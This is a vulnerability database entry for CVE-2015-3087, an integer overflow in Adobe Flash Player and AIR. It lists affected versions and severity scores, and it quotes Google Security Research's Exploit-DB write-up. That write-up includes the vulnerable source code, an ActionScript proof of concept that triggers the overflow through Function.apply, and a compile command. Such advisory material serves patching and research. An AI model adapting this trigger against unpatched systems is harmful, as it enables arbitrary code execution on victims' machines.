CVE-2015-3087 : Detail

CVE-2015-3087

53.34%V4
Network
2015-05-13
08h00 +00:00
2017-09-16
07h57 +00:00
CVE.org
NVD
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CVE Descriptions

Integer overflow in Adobe Flash Player before 13.0.0.289 and 14.x through 17.x before 17.0.0.188 on Windows and OS X and before 11.2.202.460 on Linux, Adobe AIR before 17.0.0.172, Adobe AIR SDK before 17.0.0.172, and Adobe AIR SDK & Compiler before 17.0.0.172 allows attackers to execute arbitrary code via unspecified vectors.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 37843

Publication date : 2015-08-18 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=302&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id [Tracking for: https://code.google.com/p/chromium/issues/detail?id=470837] VULNERABILITY DETAILS An integer overflow while calling Function.apply can lead to enter an ActionScript function without correctly validating the supplied arguments. VERSION Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134 Operating System: Win7 x64 SP1 REPRODUCTION CASE From exec.cpp taken from the Crossbridge sources, available at https://github.com/adobe-flash/crossbridge/blob/master/avmplus/core/exec.cpp 944 // Specialized to be called from Function.apply(). 945 Atom BaseExecMgr::apply(MethodEnv* env, Atom thisArg, ArrayObject *a) 946 { 947 int32_t argc = a->getLength(); ... 966 // Tail call inhibited by local allocation/deallocation. 967 MMgc::GC::AllocaAutoPtr _atomv; 968 Atom* atomv = (Atom*)avmStackAllocArray(core, _atomv, (argc+1), sizeof(Atom)); //here if argc = 0xFFFFFFFF we get an integer overflow 969 atomv[0] = thisArg; 970 for (int32_t i=0 ; i < argc ; i++ ) 971 atomv[i+1] = a->getUintProperty(i); 972 return env->coerceEnter(argc, atomv); 973 } So the idea is to use the rest argument to get a working poc. For example: public function myFunc(a0:ByteArray, a1:ByteArray, a2:ByteArray, a3:ByteArray, a4:ByteArray, a5:ByteArray, ... rest) { try {a0.writeUnsignedInt(0x41414141)}catch (e) {} try {a1.writeUnsignedInt(0x41414141)}catch (e) {} try {a2.writeUnsignedInt(0x41414141)}catch (e) {} try {a3.writeUnsignedInt(0x41414141)}catch (e) {} try {a4.writeUnsignedInt(0x41414141)}catch (e) {} } public function XApplyPoc() { var a:Array = new Array() a.length = 0xFFFFFFFF myFunc.apply(this, a) } Compile with mxmlc -target-player 15.0 -swf-version 25 XApplyPoc.as. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37843.zip

Products Mentioned

Configuraton 0

Adobe>>Air >> Version To (including) 17.0.0.144

Adobe>>Air_sdk >> Version To (including) 17.0.0.144

Adobe>>Air_sdk_\&_compiler >> Version To (including) 17.0.0.144

Configuraton 0

Adobe>>Flash_player >> Version To (including) 11.2.202.475

Linux>>Linux_kernel >> Version -

Configuraton 0

Adobe>>Flash_player >> Version To (including) 13.0.0.264

Adobe>>Flash_player >> Version 14.0.0.125

Adobe>>Flash_player >> Version 14.0.0.145

Adobe>>Flash_player >> Version 14.0.0.176

Adobe>>Flash_player >> Version 14.0.0.179

Adobe>>Flash_player >> Version 15.0.0.152

Adobe>>Flash_player >> Version 15.0.0.167

Adobe>>Flash_player >> Version 15.0.0.189

Adobe>>Flash_player >> Version 15.0.0.223

Adobe>>Flash_player >> Version 15.0.0.239

Adobe>>Flash_player >> Version 15.0.0.246

Adobe>>Flash_player >> Version 16.0.0.235

Adobe>>Flash_player >> Version 16.0.0.257

Adobe>>Flash_player >> Version 16.0.0.287

Adobe>>Flash_player >> Version 16.0.0.296

Adobe>>Flash_player >> Version 17.0.0.134

Adobe>>Flash_player >> Version 17.0.0.169

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

References

http://www.securitytracker.com/id/1032285
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/37843/
Tags : exploit, x_refsource_EXPLOIT-DB
https://security.gentoo.org/glsa/201505-02
Tags : vendor-advisory, x_refsource_GENTOO
http://www.securityfocus.com/bid/74616
Tags : vdb-entry, x_refsource_BID
http://rhn.redhat.com/errata/RHSA-2015-1005.html
Tags : vendor-advisory, x_refsource_REDHAT
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.